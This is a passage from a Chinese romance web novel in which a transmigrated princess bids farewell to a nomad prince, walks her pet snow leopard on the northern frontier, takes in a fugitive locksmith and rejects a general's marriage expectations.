“塔拉。”
“塔拉，”明珠念了一遍，问道，“有什么含义？”
她现在可不敢随便让人起名字了。
“用梁国话说，就是‘草原’。”翟聿说道。
——希望她不要忘了草原，还有草原上的人。
84.初吻啊——！
梁国的队伍走远，戎狄人看着恋恋不舍的二王子，心中不屑，围在翟聿身边嬉闹起来。
“别人在大王子领地上拉屎撒尿，二王子倒殷勤，恨不得都给人送上门。”
“咱们真该给二王子好好找几个女人，别看见梁国公主，像匹发情的公马一样。”
那些人还有模有样地学起公马发情时的嘶鸣，惹得众人发笑。
他们都是大哥的部下，翟聿不愿跟他们起冲突，不想那些人却变本加厉地说起明珠。
“说不定呢，二王子就是馋梁国女人那股娇滴滴的水灵样儿，你看像公主似的金枝玉叶，肯定没被——”
嗵的一声，那人被整个掀翻在地。
“阿什那，闭上你的臭嘴。”
翟聿踩在那人胸口，力气大得吓人，脚下那人猛咳不止。
“梁国的账，我和兄长会一笔笔讨回来，但如果再让我听到你说她坏话——”
匕首的尖刃倏地袭来，那人紧闭双眼，耳边一阵痛楚，耳廓被割破，血珠沿着刃滴入泥土。
“我就把你的肠子挖出来喂鹰。”
塞外的喧嚣风声未能传来，梁国使团正安然走在回程途中。
明珠回想着昨夜李凌霄和她说的信。
齐家火急火燎地寄信过来，还托了董向阜，让他一定把信送到还在戎狄和谈的李凌霄手里，士兵拿着董向阜的令牌才进到库伦。
信里写的内容，李凌霄没给她看，只简述了一遍，就让她震惊不已。
果然，字越少事越大。
齐铭将军牌位被盗，次日于三王书房寻到，牌位被损毁，齐家众人对三王大打出手。
明珠愣了半天，不知道该作何反应，若是狗咬狗的戏码，的确值得一听。
但毕竟是齐铭将军的牌位被毁，她也不好在别人面前显得太八卦，好像对这位赛博先人不敬。
若说三王自栾城那时起，和李凌霄撕破脸后，便打算对齐家下手，也不无道理。可偷盗齐铭牌位这件事，绝对不是三王能干得出来的，明显是栽赃。
齐家和三王……
明珠纳闷，难道是松芜出手吗？
“二位殿下！”
董向阜在国境处等候，看到他们的身影，前来迎接。
“长公主殿下，可还安好？”董向阜问道。
“嗯，挺好的……”
自从听了鬼方一族的秘密，明珠见董向阜不由有些别扭心虚。
她转移话题道，“那是鬼方一族，你尽快安排人帮我把他们送回花摩国。”
“是。”
董向阜示意部下，将鬼方一族先行带离。
“翟渠呢？”明珠问道。
董向阜一愣，回道，“在营地，您要见他？”
大漠扬起细沙，明珠拢了拢鬓边的发，过往如走马灯，短短几个月，又像是半生漫长。
“要送他回家了，我想再见他一面，道个别。”
回到北境，明珠从马车上下来，伸了个懒腰，现在就只剩下把翟渠送回去，终于能安稳地处理接下来的事。
李凌霄未与他们同行，他早已在回京的路上，想来京城都闹翻天了。
明珠瞥了眼身旁的董向阜，齐家的信火急火燎地送来，而这惊天新闻传到北境，指不定还要晚上数周，不知道届时董向阜听说后，会作何反应。
齐铭到底和齐家那些人不同，这件事董向阜若有机会一定会追查到底，而且李凌霄他又会查到哪一步，始作俑者会被揭露吗？
明珠按捺住不安，走向营地。
来到翟渠帐前，看到竹临和梅辛满脸欣喜迎接她，和他们寒暄片刻后，明珠才走进帐中。
一推开门，就见翟渠懒洋洋地躺在榻上，悠闲得很。
“公主若是忙，不必非来见我。”
翟渠老早就听出她的脚步声了，在屋里忙活了半天，也不见人进来，最后无聊地瘫在榻上。
“翟渠，你马上就能回家了。”
翟渠坐起身，笑问道，“公主这般爽快，这是拿我换了多少好东西？”
“戎狄的山水，你最喜欢的那处风景，如今是我的了。”
翟渠诧异，她说的想必是西南部的雁岭山和月湖，这两处虽是极佳的景色，可终究派不上什么用场。
雁岭山地势不高，尾部与梁国北境接壤，南部是西域的乌塔拉沙漠，山顶冬季积雪，等春夏化作水源，汇入月湖。
虽说月湖也是西南草原的一处水源，但却并非要害。
难道她真的，就只要了这一处无关紧要的风景？
翟渠打量起她，狐疑道，“就这些？”
“我本来说要整个西南草原，”明珠摊手，语气无奈道，“可惜在你父王眼里，你这个好大儿就只值这些。”
“可你之前……”
翟渠一时语塞。
之前她如此声势浩大，不惜做局陷害他，
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发动战争，到底是为了什么？
她难道不知，若她嫁给他，整个戎狄都会属于她啊！
“公主在愚弄我吗？”翟渠气得发笑。
她就这么不愿嫁给他吗……
还是说，她可怜他，才最终妥协。
“翟渠，”明珠站他面前，语气放缓，“你弟弟很想你，回家去吧。”
她没法回答他，干脆无视。
“我们，就此别过。”
见她打算转身离开，翟渠伸手拉住她的手腕。
“等等。”
“你还有什么话说？”
翟渠哑声道，“这是我们最后一面了。”
明珠看向他，她知道翟渠心里应该挺憋屈的。
不明真相的他大概以为，她要么是开玩笑戏弄他，要么就是心里过意不去，才要了这么一点看似无关紧要的小条件。
“没错，所以有什么话你尽管唔——！”
猛兽的气息扑面而来，嘴唇被人咬住，明珠瞪大眼睛，对方的舌尖撬开唇齿，攻城掠地般入侵进来。
一时间，呼吸停滞了。
双耳闭塞，两眼昏花，唯有唇瓣触感炙热，仿佛五感仅限于此，不断放大。
她是谁？她在哪？这是在干什么？！
明珠回过神，还没用力，对方就被她轻易推开。那人后退几步，坐回榻上，心满意足地抹了抹唇边。
“公主欺负了我多次，我还一次，不过分吧。”
这是她的初吻啊——！
“你——！”明珠的脸滚烫，脑袋像要炸开花，指尖颤抖地指着翟渠。
翟渠握住那只手，指向自己心口。
“让公主也知道，我这里一直是什么滋味。”
帐外，竹临和梅辛见明珠快步走出，不，几乎是跑出帐篷，疑惑地对视一眼。
“殿下？”梅辛喊道。
“别管我——！”明珠捂着脸跑远。
她不敢回自己营帐，生怕兰萤发觉什么，冲过去把翟渠一刀了结。
直到快跑到营地门口，看见站岗的士兵，明珠才停下脚步。
不能被人看到自己这么丢脸的样子。
明珠在营地栅栏处来回踱步，一脚踢开地上的石子。
流氓！！
混蛋蛮子！！！
明珠一边咬牙切齿，一边对着无辜的石子泄愤，绒布鞋上沾满了沙土。
“长公主殿下？”
85.遛猫去了
身后传来声音，明珠一惊，回头道，“裴参军？”
“您——”
明珠双颊绯红，眼底尽是惊慌和羞怯，裴元见状，一挥斗篷罩在明珠头上。
他对身后的几个教官说道，“你们先行前往校场。”
“是！”教官们齐声答道。
待人走远，裴元单膝跪地。
“卑职僭越，请殿下恕罪。”
明珠心如死灰，从斗篷里探出一半脑袋，自暴自弃道，“你起来吧。”
啊，好丢脸……
“谢殿下。”裴元起身，犹豫道，“敢问殿下……”
“我没事，真的没事！”
明珠慌忙摆手，罩在身上的斗篷滑落，裴元眼疾手快地抓住。
两人之间的距离突然缩短许多。
明珠眨了眨眼，这个距离，有点微妙啊……
不远处，霍丘走过来。
“裴元你这是——？”
“？！”
裴元惊觉，忙后撤几步。
斗篷里的明珠露出身影，看见后的霍丘满脸震惊。
“你们——？！”
“不是，我们什么都没有！！”明珠嘴里说着，脸上的红晕未消，反而更明显了。
霍丘倒吸一口冷气，一双眼睛不停从两人之间转换，最终下定决心似地捂住双眼。
“我什么都没看见！”
霍丘捂着眼，被雪堆绊地踉跄了一下，嘴里还嘟囔着。
“什么都没看见……”
明珠无奈地看向裴元，却发现他也一脸傻样地站着，手里还攥着斗篷的一角，她褪下斗篷，挂在裴元胳膊上。
临走前，明珠轻拍了下他的肩膀，说道，“你也什么都没看见。”
帐外，明珠做足了深呼吸，待心绪平复，才回到自己帐中。
一进来，就看见伊丽莎白正伏在那只兔子笼前，虎视眈眈地盯着它，笼子里兔子缩成一团，不敢与之直视。
兰萤在一旁，正在烧水煮茶。
“这是？”明珠问道。
兰萤忙上前，把暖好的汤婆子递过来。
“我听侍卫们说，伊丽莎白被关在笼子里，整日恹恹，就想着把它放出来玩一会儿。
“谁成想它跑进帐里，看见兔子就再不动了。”
把这碍眼的兔子咬死才好呢。
兰萤面上笑脸盈盈，心里早已将那只小畜生咒骂千百遍。
明珠不疑有他，对着那边喊道，“伊丽莎白。”
听到主人的呼唤，伊丽莎白才跑回明珠身边，尾巴卷曲在她身上，脑袋蹭个不停。
“你刚才想干嘛？”明珠揉着它的大脑袋，佯装气恼。
“喵~”伊丽莎白舒展身体，讨好般露出柔软肚皮。
明珠蹲下身，猛搓了两把，就听到它传来呼噜呼噜的声音。
“好孩子，你不能欺负塔拉，听到了吗？”明珠费力道。
“喵？”
“别装傻，那个小东西就是塔拉。”
“喵……”
伊丽莎白躺在地上，眼神瞄向笼子里的兔子。
“别看了。”明珠拍了下它的脑袋，伊丽莎白无辜地看向她。
“走吧，带你出去溜达溜达。”
“殿下要带它出门吗？”
“嗯，”明珠看着兰萤，思忖道，“你留下，帮我照顾兔子。”
兰萤最近状态不好，又跟着她来回奔波，现下回来了，还是少走动、多休息为好。
“可我不放心殿下一个人。”
该死的兔子，兰萤腹诽。
“没事，我叫上——”
董向阜官最大，支使不动。
裴元应该是不行了，霍丘……更不行。
明珠纳闷，怎么人在北境，她混的还是这么落魄。
“我叫上竹临和梅辛一起。”
如今和谈已尘埃落定，鬼方祂投靠戎狄王，鬼方一族也被送走，翟渠在董向阜这里，就没必要她自己的人去看守了。
明珠给它套上项圈，牵起绳子走出门，竹临和梅辛听到召唤，便忙不迭跟人换班过来。
“辛苦你们了，这几天看守营帐，还要陪我溜猫。”
明珠看着跑过来的两人，对他们小声道，“其实你们可以回去休息，我就是寻个借口让兰萤放心。”
“殿下别这么说，董将军里三层外三层地安排人巡视，我们在门口反而没出什么力。”梅辛笑道。
“请殿下准许我们跟随。”竹临说道。
“好吧，那你们今晚都好好歇息，就不用在我帐前值夜了。”
“可……”竹临还未说完，梅辛就用手肘捅了捅他，打断他的话接道，“多谢殿下。”
明珠环视四周，问道，“这儿有什么空旷点的场地吗，我想松开束缚，让它自己跑跑。”
“校场地方敞亮，只是现在怕是在练兵，咱们可以晌午等他们散了，在那儿溜。”梅辛说道。
“好啊！”
明珠他们慢悠悠溜达到校场时，刚好赶上军队解散，比起上一次宣讲，她如今从台上下来与他们并肩，才发现北境将士们都是些一米八几的猛男。
从校场出来，一个个蒸汽腾腾，周围的气温都升高
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起来。
“殿下？！”
“长公主殿下！”
“什么？殿下在哪？！”
一群又一群，犹如出笼的大型犬们，争先恐后凑上前跟她打招呼。
竹临和梅辛把她护在身后，勉强抵挡着前面汹涌的人潮。
“都挤在这儿干嘛呢？”人群外，霍丘高声喊道。
原本拥挤的人群瞬间让开一条路，明珠看向那头卓尔不群的几人。
啊，真是巧啊……
董向阜带着身后几人，走过来行礼。
“殿下怎么来了？”董向阜问道。
“等你们解散，我借个场地溜猫。”明珠扬起手里的绳子，身后的雪豹露出身形。
两侧的人群传来阵阵惊叹，董向阜回头，示意了下裴元。
裴元走上前，清了清嗓子，伸出手掌说道，“我数完之前离开校场，否则午后让霍副将亲自给他加练，五、四、三……”
人群如鸟兽散，一眨眼周围变得空荡。
“多谢。”明珠冲裴元笑道。
“卑职不敢当。”裴元点头致意，退回董向阜身后。
上午的事，裴元应该没放在心上，和她说话时波澜不惊，心理素质挺好。
起码比旁边那个从看见她时，眼神就在她、裴元、董向阜三人之间飘忽不定的霍丘强一万倍，那人恐怕已经开始脑补一些狗血三角恋了。
“这就是松芜带回去的那只畜牲？”董向阜看着雪豹问道。
怎么说话呢，这可是她的小猫咪！
“你知道它？”明珠问道。
“他为了抓它，花了不少心思。”
不过用的手段都……
董向阜没有拆穿，他走近雪豹身边，雪豹警惕地盯着眼前的陌生雄性。
“它有名字吗？”
“伊丽莎白。”
“？”董向阜忍俊不禁道，“还真是和以前一样。”
“什么啊？”明珠不忿道。
虽然不知道他的话什么意思，但董向阜那种表情，肯定是在笑话她。
“没什么，像您的格调。”
“别以为我听不出来，装模作样嘲讽我是吧！”
董向阜笑道，“微臣不敢。”
明珠嫌弃地看着他，这家伙也就表面上恭敬，装装样子糊弄她，跟他假装深情时一个狗样。
“你们不是还要去吃饭吗，赶快去吧。”明珠开始赶人。
“长公主殿下呢？”董向阜问道。
“我才不跟你一起吃饭！”明珠白了他一眼，牵起绳子，对竹临和梅辛说道，“我们走。”
86.恶役女主，上线！
校场空旷，地面沙土铺平，印着整齐有序的脚印和背摔痕迹，墙边码着两米来高的刀枪剑戟，刀刃尖刺闪着骇人冷光。
远处，两侧矮塔上红鼓耸立，中间的石板高台上有一座齐铭将军的石像，高头大马上的等身像，气宇轩昂，齐铭本人长相偏俊美，不似寻常武将硬朗俊毅，董向阜便是后者。
校场门口围栏一关，明珠取下绳子和项圈，任大猫撒欢，转眼间就变成小点。
路过鼓起的干草垛，伊丽莎白似有所感，往里面跑去。
明珠和梅辛说话没留神，就听见不远处传来一声惨叫。
“啊——救命啊！！！”
明珠一惊，往声音来源处张望，看见伊丽莎白嘴里咬着一个裙角。
“伊丽莎白！”明珠边喊边往那处赶。
竹临率先赶到，从草垛后面揪出一人，是个年轻姑娘。
“快松口，伊丽莎白！”明珠急忙道。
伊丽莎白松开嘴，它并没有咬到那人，獠牙只擦破了裙摆。
明珠重给它套上项圈和绳子，把它拘在身后，关切道，“姑娘，你没事吧？！”
“你想让它咬死我是吗？！”
“啊？”明珠惊慌道，“不是不是，姑娘你误会了。”
“怎么不是！咬死我你就能跟将军和睦恩爱了！！”
这姑娘都吓得说胡话了吧，什么将军，什么和睦恩爱？
“你休想抵赖！若不是你，将军怎么会不肯娶我！！”
“……”
沉默片刻，明珠恍然大悟道，“你在追董向阜啊！”
竹临听得眉头紧锁，刚想把人带走，就被梅辛拦住。梅辛冲他噤声，示意他待在一旁看着。
“什么追不追的，将军本就属意于我！”
啊，这姑娘躲在校场里面偷窥，是董向阜的粉丝吧，不对，这种该叫私生饭。
明珠按捺住笑意，指着自己，“你知道我是谁吗？”
“就算您是长公主，也不能违拗将军心意，逼他和我分离！”
这姑娘真会脑补，不会是董向阜自己撩拨人之后不想负责，拿她挡刀吧？
明珠打量起这个姑娘，觉得董向阜不是那种不负责任的垃圾货色，毕竟这些年围在他身边的痴男怨女也不少。
董向阜那一张冷脸常年摆着，也不是没有原因，即便如此，当初在京城，也还是有不少人主动纠缠。
噢，对了，难缠者名单里，长公主当初可是排首席。
“权势压人非我本意，可你既然知道我的身份，就该明白——”
明珠俯下身子，勾起那姑娘凌乱的发，为她拢到耳边。
“即便董向阜钟爱你，若你现在死在我手里，他连个屁都不敢放，我捏死你，就像捏死一只蚂蚁一样轻松。
“你今日找我闹，就该想到有去无回的下场，难不成你觉得我是个软柿子，说两句狠话就能吓倒我？”
明珠捏着那个姑娘的下巴，眼神轻浮。
“姑娘，我养的是豹子，不是病猫，若我一声令下，它会撕开你的皮肉，拽出你的肠子，把你的五脏六腑咬碎，吞入腹中。
“届时，你那四分五裂的尸身，就只能被丢进乱葬岗，等着和董向阜地府相聚了。”
看着那姑娘铁青的脸色，明珠忍不住坏笑。
“你若不走，我这豹子可好几天没吃人肉了。”
明珠对伊丽莎白小声道，“冲她龇个牙。”
收到指令，伊丽莎白立马冲对方弓起身子，露出獠牙，一双豹瞳充满压迫感。
“妈呀！！！”
那姑娘提起裙子，拔腿就跑，一溜烟不见踪影。
“噗——！”明珠忍不住偷笑。
“殿下何故与她多费口舌，把她丢给董向阜便了事。”竹临闷声道。
“那还有什么趣儿，是吧，殿下？”梅辛笑道。
明珠和梅辛默契击掌，还得是他这样的坏心眼啊。
闹剧谢幕，明珠才又放开伊丽莎白。
晌午已过，日头正晒，明珠懒洋洋地伸了个懒腰，趁着人们还没回来，他们就离开了校场，把伊丽莎白带回营地。
“带你们下馆子，想吃点什么？”明珠回头问道。
“都好。”竹临说道。
梅辛想了想，说道，“殿下，我听他们说，北境产辣子，这边的面食都不错，面条筋道，再配上辛辣的肉糜浇头，如何？”
“好啊！”明珠眼睛一亮。
北境虽与戎狄相隔不远，但因其地势，常年阴云小雨，今日本是难得的好天气。
三
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人漫步在街上，雪堆被清扫在侧，让出灰黑的石板路，北境多有雨雪，土泥地不便行走。
当年齐铭率人修了北境城中道路，后经董齐川、董向阜代代修缮，才有了现如今脚下畅通的灰岩石板路。
凡开张的店铺，都能看到他们店中摆放的齐铭将军像，或画卷或铜像，此人于北境，像是神明一样的存在。
街巷口传来阵阵肉香，混着辣椒的呛鼻味，闻着便叫人胃口大开。
明珠看向来源，一间不大的面馆里，坐满了食客。
“那家怎么样！”明珠指着门面说道。
那两人点头，三人走上前，店里的跑堂手巾一搭，迎了过来。
“您几位？”
“三位。”
“稍候，这就给您收拾出来一桌。”
几人落座，明珠问道，“您这儿的招牌是什么？”
“那就有的说了，我们这儿招牌——千户臊子面，十几种配菜，臊子都是鲜切肉丁，三分肥七分瘦，汤底大骨熬制，里头有六味中草药，有辛辣有滋补！”
“里面有……热油吗？”竹临问道。
“是啊，有烫过的辣椒油。”跑堂回道。
见竹临眉头微皱，明珠问道，“有清淡的吗？”
“有，片叶汤，骨汤下面片，吃口鲜咸味。”
明珠看向竹临，竹临点点头，她对跑堂说道，“好，那来两碗臊子面，一碗片叶汤。”
“好嘞，有忌口吗？”
“没有。”
“两碗千户臊子面，一碗片叶汤——！”
明珠伸出手，触碰到竹临的脖颈。
她问道，“难受？”
竹临一惊，喉结滚动，慌张地吞了口口水，明珠才察觉出不便，尴尬地收回手。
“不难受。”竹临小声道。
在平云庄时，他曾因咬伤看守，被灌过热油，食道险些烂掉。
获救后，明珠对他餐餐照料，即使进了军营，他的饭也是长公主宫里小厨房做好送去，养了好久才养好，如今只要饮食注意，不频繁吃滚烫或冰冷的食物便无恙。
只是每当看到滚烫的油锅，他还是忍不住咬紧牙关。
“难受的话，一定要跟我说，不要自己忍着，听到没有？”
“嗯。”
87.吃瓜群众
三碗汤面上桌，水蒸气和香味扑面而来，碗口硕大，她这碗千户臊子面中木耳丝、鸡蛋丝、冬笋丝码列整齐，肥瘦相间的肉沫臊子上撒着青白的葱花，令人垂涎欲滴。
明珠从木篓里拿筷子，用手帕擦了擦递给那两人。
“多谢小姐。”两人接过回道。
终于到了万众期待的品尝环节，明珠摩拳擦掌地捞起面条。
筋道的细面，在鲜香浓郁的汤底中出水，挂着诱人红油，一口咬下去，幸福感十足。
酒足饭饱，明珠冲跑堂招手，准备结账。
这时，门口传来突兀的呼喊声，在热闹的食客中分外微弱。
“救命……”
有食客发现倒在门口的人。
“欸！这是怎么了？！”
跑堂的急忙凑近，探了探那人的鼻息，松了口气。
“想必饿晕过去了，您几位安心，我给他去弄口吃的。”
说着就把那人扶进店里角落的板凳，先给他喂了口水，那人才逐渐苏醒。
“饿……”
“汤面成吗，你有力气吃吗？”跑堂的问道。
“吃……”
明珠往门口探头，看店员忙着，把钱放在桌上，起身离开。
“钱放桌上了。”
“好，几位慢走！”
尚未迈出门槛，却听见仓啷一声，明珠回过头时，竹临的剑已出鞘。
梅辛一脚踹向墙边，冲着角落里的人质问道，“你想干什么。”
一左一右禁锢着，杀气咫尺之遥，缩在板凳上的人瑟瑟发抖。
“怎么了？”明珠疑惑道。
“此人图谋不轨。”
他们分明注意到，这家伙的手刚试图拉住殿下的裙角。
明珠打量起角落里的人，是张眼生的面孔。
中年男人，衣着朴素，腰间别着小锤和锉刀，手上都是老茧，约莫是个铁匠。
不过最显眼的，是此人脚下的鞋袜，已耗损破烂，像是赶了很久的路，也未能停歇。
“你想干什么？”明珠问道。
“不…不，”那人说的上气不接下气，“长公主殿下……”
“？”
明珠诧异，扫了眼周围，俯身问道，“你认识我？”
“果然是您。”
“你是谁？”
“小人…鲁进艺，求您指一条生路……”
“面得了，你——？”跑堂疑惑道，“您几位怎么……”
“我们认识。”明珠摆了摆手，让竹临和梅辛撤回。
“这样啊。”
跑堂也不多问，只叫那人吃完就离开。
“你先吃吧，吃完再说。”
听到这话，鲁进艺也不含糊，狼吞虎咽地吃完一碗，打了个响亮的饱嗝，才娓娓道来。
“殿下，小人是三王麾下的匠人，因得罪了三王，被他赶尽杀绝，才逃命至此。”
“得罪了三王，因为什么？”
“小人司机关术，此前专为三王研制牢门锁头，听说有一处门栓被人损毁，三王说都怪小人手艺不精，坏他好事。
“三王一心只想泄愤，根本不听小人辩驳，还要小人的命来偿，小人只能逃命。
“眼下只有您能救我，小人千里奔袭，特来投靠殿下！”
此人真实身份有待商榷，听他所言，擅长机关术，将他留下来，说不定可以派上用场。
不过……
“那你怎么恰好倒在这家店，这家店并非径直走向，你特地拐过来，难不成你知道我的行踪？”
“殿下，实不相瞒，因为整条街，这儿最香……”
鲁进艺难为情道，“原本，粮草运往北境，小人想到军营投靠殿下，可实在是……饿的不行。”
明珠忍俊不禁，说道，“那你怎么确信，我就是你要找的人？”
“小人认识他。”鲁进艺指着竹临，说道，“他来自平云庄，小人曾见过他，他后来回来了一次。”
“听说，他进了京城，地下赌场被长公主殿下查没，小人猜测，他跟随之人就是长公主您了。”
明珠回头看了眼竹临，见其面色阴沉，便对鲁进艺说道，“行吧，你先跟我回营地，只是在查实你所说之事前，要被看管起来，你可明白。”
“明白！小人明白！”
一路上，竹临和梅辛不曾放松警惕，两双眼睛紧盯着那人，鲁进艺倍感压力，紧张地打起嗝，一个接一个，活像个计时器。
“喝水吗，要不先找个茶馆吧。”明珠忍不住回头问道。
“嗝，多谢，嗝，长公，嗝公主——”
“省点力气吧。”
明珠止住他的话，带着他们走进一间茶馆，门面不大，这时节喝茶的人不多，掌柜在桌上摆着小碳炉，上面煨着花
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生和地瓜，明珠又要了一壶金尖奶茶。
几人刚落座，就听梅辛压低声音冲她喊着。
“小姐，小姐！”
“怎么了？”
见梅辛下巴使劲往门外指，明珠把茶壶递给竹临，抬眸看向街巷，瞬间转换吃瓜表情。
“是她吗？！”
“是是是！”
“天呐——”明珠捂嘴偷笑道，“董向阜这是被绿了吗？”
街巷上，正是方才在校场的那个年轻姑娘，只是她身旁挽着的，却是另一个眼熟的男人。
“霍丘胆子还挺大，敢挖董向阜墙角。”明珠忍不住感叹道。
“您说他知情不知情？”
梅辛不知何时抓来一把瓜子，放在桌上。
明珠伸手取过一把，分析道，“我觉得不知道，他那个人蛮直的，裴元倒是像能做出这种事的人。”
校场内，裴元冷不丁打了个喷嚏。
一旁，鲁进艺也好奇地凑近他们，问道，“两位，嗝，在说，嗝，什么？”
明珠接过竹临倒好的茶，“喝你的水，道上的事少打听。”
“小姐，他们进首饰铺子了。”梅辛实况转播道。
“在哪在哪？”明珠慌忙往外探头，咋舌道，“没想到啊，那姑娘虽然狂热，却也算得上痴心一片，怎么这会儿就又脚踏两条船了。”
“我看那姑娘对董将军未必像她表现得那般，说不定是演的。”
“你那意思，她是演给我看，先让我知难而退，再找机会自己上位？”明珠不禁感慨道，“世道不古，人心难测啊。”
不一会儿，那姑娘喜笑颜开地挽着霍丘出来，手腕上还多了个玉镯。
“你们说，她有没有可能是霍丘家的亲戚？”明珠找补道。
万一呢，万一霍丘没有可怜到被爱人劈腿。
正说着，那姑娘就在霍丘脸上小啄一下，惹得霍丘满脸通红。
“……算了，可怜的霍丘。”
明珠不忍再看，奈何手里瓜子还没吃完，只能边嗑边目送那对新人离开。
“小姐，那这事儿？”
“……”
为什么这些难以启齿的事情，都开始扎堆倒向她啊……
明珠看着店里被撕剩的月份牌——立春。
“还是等过完年吧……”
希望董向阜和霍丘，都能过个好年。
88.曾经沧海难为水
年节将至，送走翟渠的日子到了，明珠没有露面。
她站在董向阜之前带她去的那座瞭望塔上，俯视着城下的队伍，即使翟渠混在士兵里面，也能一眼看到他，他本身就是这么出挑的人，身形样貌、姿势气场都是一等一。
唉，胸这么大的帅哥，以后见不着喽。
戎狄的王帐会在翟渠抵达后西迁，他们此前就一直在向西北方拓展疆域，翟渠因为和亲的缘故，才提前回到毗邻梁国北境的领地，现下等他回去，他们便会即刻出发西行。
“再见了，大王子。”明珠冲他摆手，小声说道。
人群中一道视线投来，明珠知道，那个嗅觉灵敏的家伙，一定能发现自己。
戎狄的孩子从会说话起，就会骑马射箭，这些剽悍的游牧民族，他们的孩子从小便要跟着部族南征北战，跟外族打、跟外国打。
这些人的作战和攻击看似野性，毫无章法，其实是长期积累的作战经验刻进骨髓，形成肌肉记忆，感官被训练得格外敏锐，更别说他们天赋异禀的体格和力量。
戎狄人，一直是劲敌。
下次再见，不知道又该是多大规模的进攻，更不知道梁国的气数，能否在这之后得到扭转。
试试看吧。
走下瞭望塔，底下有一人在等她，此时见到此人，还难得挺开心。
梁国，也不是毫无依靠。
“将军。”
“殿下不去送行吗？”董向阜问道。
“之前送过了，今日就算了，我和他本不该是那么亲近的关系。”
说到底，梁国百姓心中，翟渠仍是那个对长公主意图不轨，残杀忠良后代的外敌，若她亲自去送行，难免招眼，惹人非议。
更何况，上次……
看着明珠别扭的表情，董向阜轻笑，伸出手臂，让她扶着走下最后几步台阶。
“愧疚，还是——对他有意？”
“你还挺八卦。”
这倒是董向阜头一次，这么关心她的感情生活。
“臣看他对您倒是不一般，他曾说过，让我看护好您。”
“是嘛……”明珠抬眸看向他，说道，“那我若是嫁给他，岂不是省了你很多事。”
长公主和亲，便是两国邦交之喜。
“那臣未必太过无用，要您屈已，向戎狄求饶。”
明珠轻笑，他如今也学会说漂亮话了。
“可惜我已经招惹上他了，若有朝一日戎狄势强，我必不能独善其身。”
“所以臣早就劝您——”
“打住！”明珠急按暂停，打断道，“你又不喜欢我，何苦呢。”
“您又怎知我并非真心？”董向阜问道。
怎么知道？
有些时候，只要自己头脑清醒，不被情感蒙蔽，就能分辨出什么是真，什么是假。
她见过太多真心，知道人们在说这些话的时候，会露出什么样的表情。
显然，董向阜不在其列。
明珠抬头注视着这个男人，即便他习惯冷着一张脸，但相处时，她见过他生气，见过他厌恶，也见过他笑。
而此时此刻，他的脸上没有一丝动容。
“你并不喜欢我，与其说你不把其他人放在眼里，不如说你压根就不在意，我和谁纠缠不清。
“我知道，在你眼里，你和我之间不必有那样的情感，婚姻是世族间的纽带，父母之命，媒妁之言，从来只是需要和被需要的关系。”
这些年，他们之间来往颇多，彼此之间也算得上熟悉。
董向阜是封建家长制度下，典型的大男子主义，具有极强的担当和责任感，庇护他羽翼下的一切才是他心中的情义，看重自己的使命与家国情怀。
在他心中，女人只是女人，永远不会成为他的战友。
如今的明珠在他眼里，只能说算是一个适婚对象，豁达、贤明、张弛有度，还有一点自己的小个性。
他认为她心善，可以容忍他院里的那些可怜人，长公主的身份也可以在他身死之后庇护整个董家。
董家这个的容器里，她是最合适的内胆，他还有一份自信，觉得他会是
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她的良配。
他肯迁就她，并不是出于真情，而是从来没把她的拒绝当真，总以为她最终还是会选择他，此时的她只是还“不懂事”，没看清现实。
他并没有学会尊重她的意志。
她不中意他，也不是因为有其他人选，而是从始至终都只把他当朋友，从没想过跟他董向阜这个人结为连理。
“很可惜，那个期望将军垂青的李凌月，已经不在了。”
她和董向阜之间，从来都不是世家小姐们津津乐道的“追妻火葬场”。
真正的李凌月，早已不在人世。
除了明珠，没有人会在清明寒食，为她一祭。
以前的长公主地位尊崇，却不受父亲偏爱，反而因为大梁唯一嫡女的身份倍受嫉羡，所谓虎落平阳被犬欺，总有些人通过欺辱她，得到高人一等的假象。
那时候，李凌月唯一渴望，就是寻找到接纳自己的栖身之所。
明珠为她感到伤感，她明白为什么长公主当初如此迫切，不顾一切地纠缠董向阜。
一个落魄公主被少将军所救赎的浪漫经历，她曾听以前的宫女提起过数次。
这些桥段，也有被美化过的痕迹，可这恰恰证明李凌月心中所念所想，她期待那个美好故事会成真。
可她用错了方法，董向阜此人最厌烦那些惺惺作态的心机，偏她青涩，总露出马脚，让人看出刻意。
这两个人，才真成了冤家。
“臣会等，殿下也会有需要臣的那一日。”
董家主母的位置，要选择与之匹配之人，这是他身为这一任家主的职责所在。
明珠苦笑，看看，他就是这么不听人说话。
换句话说，整个董家都是这样，只要她不与别人成亲，所有人就认定她终有一日会做董家的主母。
他们蓄势待发，只等一声令下，八抬大轿将她取走，从来没有人问过她的想法。
“董向阜，作为共谋事业的伙伴、朝夕相处的友人，我欣赏你，却也仅限于此，我实在不想，我们连朋友都没得做。”
89.富少竟在我身边
爆竹声声辞旧岁，家家户户贴春联、挂灯笼，北境的白染着红妆，喜悦爬上眉梢。
唯有军营分外萧条，明珠看着栅栏外的喧嚣热闹，心中艳羡，春节前后几日，除了驻守的一部分人，不少将士们都放了假。
今年与往年不同，刚打了和戎狄的胜仗，这之后戎狄西迁，北境的边防压力有所缓解，部队休整期，许多家在北境及其周边郡县的将士，特地请了探亲假，把饷银和奖赏带回家给家人。
除夕将至，明珠琢磨着，给小孩们找个地方吃年夜饭，在冷清的军营算怎么回事，尤其说不定还要遇到董向阜。
说起这个人，明珠也想过问他，在北境有没有什么多余的住宅。
可自从上次和董向阜摊牌，他们俩已经好几天没说话了，其实是明珠单方面躲着，毕竟她先撂了狠话，再见面求人也太尴尬。
正考虑着，就听到不远处马匹嘶鸣。
军营门外，驶来一辆豪华车驾。四匹纯黑骏马一字排开，车舆以紫檀木雕饰，容盖上披着金丝红绒布，后面十来个小厮列队在侧。
明珠站在门口，侧目打量起来。
排场还不小，谁家的娇气少爷参军了？
“殿下。”
明珠回头，“裴参军啊，这是要回家了？”
一身常服的裴元站在她身后，褪下冰冷生硬的铠甲，玉簪束发，锦衣修身，瞧着和京城那些世家公子如出一辙，体态却比他们更佳，全无富贵颓靡。
“是，卑职家原就在北境，参军后双亲时常惦念，此前多番催促卑职回家过年。”
“应该的，那你快回去吧。”
“卑职告辞。”
明珠冲他挥手，却在那群小厮上前，争先恐后地凑近裴元时刹住动作。
“少爷，您没受伤吧？！”
“少爷，您都瘦了，想必吃了不少苦吧——”
“少爷，您不知道，老爷和夫人想您想的寝食难安！”
耳边像被“少爷”浪潮侵袭，一声声翻涌不息，裴元此刻像极了落入锦鲤池的饵料。
好家伙，原来富少竟在我身边？
明珠不由思忖起来，如果是富少家，会不会有多余的宅子出租给她过年。
不过，以长公主的身份开口，恐怕又要兴师动众。
思及此，明珠上前，拍了拍裴元的肩膀。
